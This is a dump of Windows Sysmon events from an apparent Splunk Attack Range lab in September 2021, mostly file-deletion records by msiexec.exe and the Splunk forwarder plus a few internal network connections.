14:42:21.449{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=0E8B6D030F8E64789834667C470B97BF,SHA256=A6007B60EA5F9593FC95FA5123D539AECD5A879B8A539743FA1E7FC23494546E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.277{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SG3QQYR109\System.Core.ni.dll.auxMD5=9C2C1DF16379BF958B0D67E0B3610AE4,SHA256=AFBE99A8170E89F98A87750E88CC02E6E9B7B6E188CA47043EB1B64C68FA0B0F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.277{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SG3QQYR109\System.Core.ni.dllMD5=E0408356E6103FCD924AC2285DC1C885,SHA256=0D45CD52A92CB9B17E8931E21B3183C8605255624264C10BF9B5AB5FF14D8D0D,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.058{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=23FCB63410467724BD30BB977406FB11,SHA256=1B02B3D09359A4334AC87A0FD9F492770536EFBCC5226F9C47AA2576606B7107,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.042{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BD5971AEBD179C2E4C5F1786FB559228,SHA256=AB04AA726B2BFFAA8C27BFEE7D6E7F311472EAED84D8AB7136F3F7550C287D15,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013435Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:19.525{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50091-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013437Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:22.257{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D18B4289F6B8A03987BAB2761A066296,SHA256=65E57D1D00CA984FB9B1AD13A1213F3CCC6D56A321E98543525EA5AB6596ACC3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:22.980{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\T7DUA2RN2I\System.ni.dll.auxMD5=97D37AFB390992CE3C6F1D4E1112CAA5,SHA256=E9BE5584192A17CDF882242AB2C104E2A185B276E589F81AEC50663E4BA6F881,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:22.980{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\T7DUA2RN2I\System.ni.dllMD5=709A692740777021A1BC08A50B61C807,SHA256=AD85D06B3912A64986318D87202BDCAD748D6E68E3B693D37459EF9874889CCF,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:22.636{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=662C8E6A9E6696DEF7FCC1940BB75DED,SHA256=CDBB9417E3EFC62FD4253119BC01D492BB2DB03951BEE89BD419FD605A11ED4A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:22.574{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\T35SMSC9NL\System.Core.ni.dll.auxMD5=F17814BA3A499E75D25D8600316A312E,SHA256=83B003AF767D928434650744A536BB23C6BEB46D3D16DD964DBE77382A1EADC6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:22.574{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\T35SMSC9NL\System.Core.ni.dllMD5=BABB1248300114458CE418D687F12C45,SHA256=2C4CF0E399747B3A28FAF4BED3A5DB80E1B32E39A1F6AD1A24DCEB2F4BDBD731,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:22.137{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SWWQ6AOVGJ\System.Xml.ni.dll.auxMD5=E01ABDE7405B6917FD52CBCECEDFB15C,SHA256=73DEA8197F091277613BAAFEDBE37A4231410291B5AFABAC8D6907407482215B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:22.137{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SWWQ6AOVGJ\System.Xml.ni.dllMD5=5F6EA5E77659D339DC666E0BCCD7B0FB,SHA256=D03C42DCD3565491379E0C0940E60507EB8B28F6FAC705F98D68A788AA31F8C8,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:22.027{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=438B5045392884F9985AE1002A606D76,SHA256=7E5AE1C8BAC2EDA268DC9ACE45FB250F0BA109E2562DACB6FDC3DC3C684FC99A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013438Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:23.397{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AF3EF4CD557BB80E0F88335D92E45681,SHA256=42F48B98C3304F2CF274E1D801948BF18544C7DB40506078FAE9E211A3418FB6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:23.667{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\TREBLZ8848\System.Transactions.ni.dll.auxMD5=345B032FDAB64413D929BFBDE26FDCD7,SHA256=2071BD12C470F01C83E6EFFBADF7E960568551E140259A99309F9CFF8BE70FAF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:23.667{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\TREBLZ8848\System.Transactions.ni.dllMD5=CD8B06DACE1AE70F053FB67F75439D1A,SHA256=0D78871A1A1AFA2B8AE0A97E0D781565C2014C1A4C687D3731557233DD0684C3,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:23.652{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\TKH0RXDAYQ\System.Drawing.ni.dll.auxMD5=6C52FA11480271A7CA24597B93F7BB04,SHA256=61F5983290D91AB3DF009F8C874FA8FE2746C9AB30195650831EE3035CB71CCF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:23.652{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\TKH0RXDAYQ\System.Drawing.ni.dllMD5=C0CD3B953E9ADDA2C2CA1B521CAC444A,SHA256=792530B90A2559951E4A2DBECBE5B4B3FDC08CB4140A89FC252E49C9FD342359,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:23.621{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\TGY81KS0Z5\System.ni.dll.auxMD5=7A44EFFA7DCC91B7C5544BE94DCAB99B,SHA256=82430CD1974781DDBA8E3229219F17123658865551FEC8BC2D4290A1B5106A91,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:23.621{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\TGY81KS0Z5\System.ni.dllMD5=D52C7EE4CFB46F754E22E0C2A47AE1F7,SHA256=70C0BF60131A45390406D3C461BEE5C0449868CD3E9B41A89FD5808F16D9516E,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:23.058{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4DEA7F0ECD56894E47A9005915DE4DC2,SHA256=2D66544C294D93FAF76748461D50AD6F8DDA2E45C98B015279F5DE9CBA1EC535,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013439Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:24.413{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E7F8CB2876D50A736BDCCF9DB11F499,SHA256=872F7B7FE0EC039F40A23856F85C96FC9538E033F16F55BB574A1EEA70016D63,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:24.605{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\UD49G3NY52\System.Core.ni.dll.auxMD5=4D66BF5119D58A48BD3F7A7AD7354010,SHA256=131D289921A8DADB218DF0D0E67B3EF964AD315171A92823D7FF5B7881E1CA98,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:24.605{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\UD49G3NY52\System.Core.ni.dllMD5=2A6660246DC3C48C26515DC456C27404,SHA256=3A9DE09DE10C5F9F3A1D3B49FEF7A50181275A29E7A6B909E2850D80DD736457,IMPHASH=00000000000000000000000000000000truetrue 354300x800000000000000038226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.506{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59192-false10.0.1.12-8000- 23542300x800000000000000038225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:24.339{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\U97084HOD2\CustomMarshalers.ni.dll.auxMD5=1B8DC30D3E1603C9DFC6045DE267AF71,SHA256=9760764A3E526F12D9481D6A6D9590E737DDEDFAB481D8ECB2296CB32C0DF0AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:24.339{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\U97084HOD2\CustomMarshalers.ni.dllMD5=53F371A0174862A68DC878FBC0D61266,SHA256=9FB938EC3F9D66E64AD525DE4F30CF27153A929044D64DBB8874CE5B01F8697F,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:24.324{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\U0PIT4VXCM\System.IO.Compression.ni.dll.auxMD5=41EEBA98CCE6653861F4C0A7CE5DABB0,SHA256=30029B1A6AB901F5296117A11EF64E86D2CD12CDE5513326A8322C7389B31923,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:24.324{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\U0PIT4VXCM\System.IO.Compression.ni.dllMD5=222717FF5E045032C8546855A709602C,SHA256=A51C561900046AC9B7FA831C5499459E234999D2E48F326ECC85A94FC5E5C193,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:24.324{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\U0MLKMHPO2\System.Web.ni.dll.auxMD5=3BF11075FF377DABD00295A10B159897,SHA256=06CD7958ED343C21E2B632F48856453AB2FDB59C7C3B82D30FC94BE485E62884,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:24.308{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\U0MLKMHPO2\System.Web.ni.dllMD5=A0A7A24BBB1337F0F402CA464D0270CF,SHA256=7A6208DE8BAF9327E0195E456E67B16729EACB4BF7CB6D9CD1C9A79F58B1F2FC,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:24.089{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B398AB33DE61100560FCEBC195A25E5B,SHA256=9F91DC096819082EF568D7E1695475E958E19BFB2C0BB14B28DD084F03B51652,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:24.011{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1E511610815C1D4422FC286D3E16B355,SHA256=03BF6A3F45671B9E7B5859E7B9EA8B17CCEFB29D9B174CC9C51865C1E9678790,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.839{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\VOKV399A76\System.Numerics.ni.dll.auxMD5=EB049ABA5517841C734115079F8BD603,SHA256=2877312EFE8951A61700B5A8981F42E506060308E5D402F8E5FC7F879EDAC5FB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.839{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\VOKV399A76\System.Numerics.ni.dllMD5=D282D2158C31BBF5B31EE855F7B15EC7,SHA256=72E1074D33DC23AB1D680257B353F3C2210E1C9095D3284570DC678FA3E93907,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.824{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\VGSM4TUE6Y\System.Configuration.ni.dll.auxMD5=EA64890856D84601CF0F15F8F925876E,SHA256=BC3CBF89983AF4F608D30A0FA34FB62C3F716BF7B77DAF65A806DD567D4EEA24,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.824{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\VGSM4TUE6Y\System.Configuration.ni.dllMD5=7C4B6B49CBB1C3DBAA853BD4E51B378B,SHA256=91DE196C16599FE3164E02F877E74D5F2526AC8C0B8DFDDD3A07D072654E8E98,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.761{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\VFP45VJMS1\System.ni.dll.auxMD5=9DB501C48DC60DBFB5B0DEA1779EE47C,SHA256=A0D973D80250931A6FB9EE13DF0B860E736D456AEA631120A0012B15DAA98562,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.761{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\VFP45VJMS1\System.ni.dllMD5=250BD9B205730F5DAA6260EEF61B4390,SHA256=E2ED60C97B5D4342A06BE98C8930413714AE287B8E678833C0A81DF457D20101,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.292{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\V6PJ8FVQ98\System.Numerics.ni.dll.auxMD5=46C8A979AD3266DDEF725C7E593B0EC9,SHA256=44F41AE20DFD28ABE6EE0E04898C519AD9709FA50D948409B2ECD81BB20D3D37,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.292{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\V6PJ8FVQ98\System.Numerics.ni.dllMD5=63A9B260BCFCC94E75F0B012DE2B32EF,SHA256=3BFD410197EBDCE1914F9CA077D5B2BE75A664A54D5D9B05169694327EC86CE3,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.277{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\UDREXPIV9W\PresentationFramework.ni.dll.auxMD5=8F1FD4778E91747A58145154E17EA5AF,SHA256=5F51126070FAC3B2FE9EFFC6F556531FCF6A24E2CDABA5256662A878DFC9E787,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.277{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\UDREXPIV9W\PresentationFramework.ni.dllMD5=4EB0ACB2849F125982D53B74DBA06226,SHA256=BAB44F496D0350D8D73DD0CC0D493CC1C5F26C6A4959F50CBBDA7560E58A220E,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:25.120{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DFF4873518CB34D1014DAD2D44AEC69B,SHA256=9E0A79AE166D9362E0C66CFAFA7BC8B9A50C82E69C51245059D24405C2CA5D51,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013440Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:25.428{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD72730C32A0798F1AFD8FB90F56FA19,SHA256=5C535834B61CCEBDD2C449C8ECFB4405C7A74B22F91107A10C5F50C95379AB3A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.933{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\WPILUDZPG6\System.Transactions.ni.dll.auxMD5=799D1D6903AEF7B551CD4A4C6B265AA9,SHA256=EAE828D0DC70B8C0CADC0F2FB1EB4DAB7A5E36C371C4B8A27C807DE7C0974339,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.933{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\WPILUDZPG6\System.Transactions.ni.dllMD5=8D18FAAB7987602078CF848438C95F88,SHA256=AB760B68DE4E3D55C85FBC48423AC7C47C8A8C34FC3964E0473DA960D0BC3C5D,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.886{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\WLMOZX3B9O\System.ni.dll.auxMD5=FD6DE591D3545BD3186DE631F46BB80B,SHA256=D9B496E22C03C6FE99055B4F3BE41057867B2190F6032B0E7B386988E37046C8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.886{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\WLMOZX3B9O\System.ni.dllMD5=94AE45817D7A11DB2165BC6DF4997AD3,SHA256=45879B1C723A5AE6F9577A9BC99A145C15487C5CD4FF456EEDBCC87403041C9A,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.464{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\WKZTAV0AK0\System.Numerics.ni.dll.auxMD5=1964D64FF04708A0CF5838B9DF1E6988,SHA256=30E5029EC1D69530F1631F056368F3DB0F87DFFCA5C3E7C0D8F81706B0BFE044,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.464{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\WKZTAV0AK0\System.Numerics.ni.dllMD5=8E902B0115147C7B7399AC6133CFD38D,SHA256=D4DF764B7FA01B0EAFF612668AFA401B6BBE251A7F89E3B9D935479EF6259E43,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.464{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\WIAV2QPVKF\System.DirectoryServices.ni.dll.auxMD5=91B2F2790B225E9B80B1642A87D19DA5,SHA256=F23B64863222A016CF4439EEDC90057CFEC21BC75A0D7D8118CE8996F42E8B98,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.449{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\WIAV2QPVKF\System.DirectoryServices.ni.dllMD5=EB699F153BF3322C608FA8EC593641AC,SHA256=C88E1D58C19711E2951ACAD7EFB6D6F420D52D13C93B77B4E80B36396EB5AF10,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.386{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\WFQN4O5QK0\System.Xml.ni.dll.auxMD5=0065E7A8A8E46E486B81AF49DEDC3662,SHA256=16EC780118ECB011D545094DA54471D9E80EEEBFD7B6FC6CC36C0950B74782BD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.386{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\WFQN4O5QK0\System.Xml.ni.dllMD5=AE3813D8498A050E3F1C35361CBB502B,SHA256=D6ADECF0D79D00DE226C5558372C5A2AE2F662F9A9F0BAAB1CAE8FCCB77A525A,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 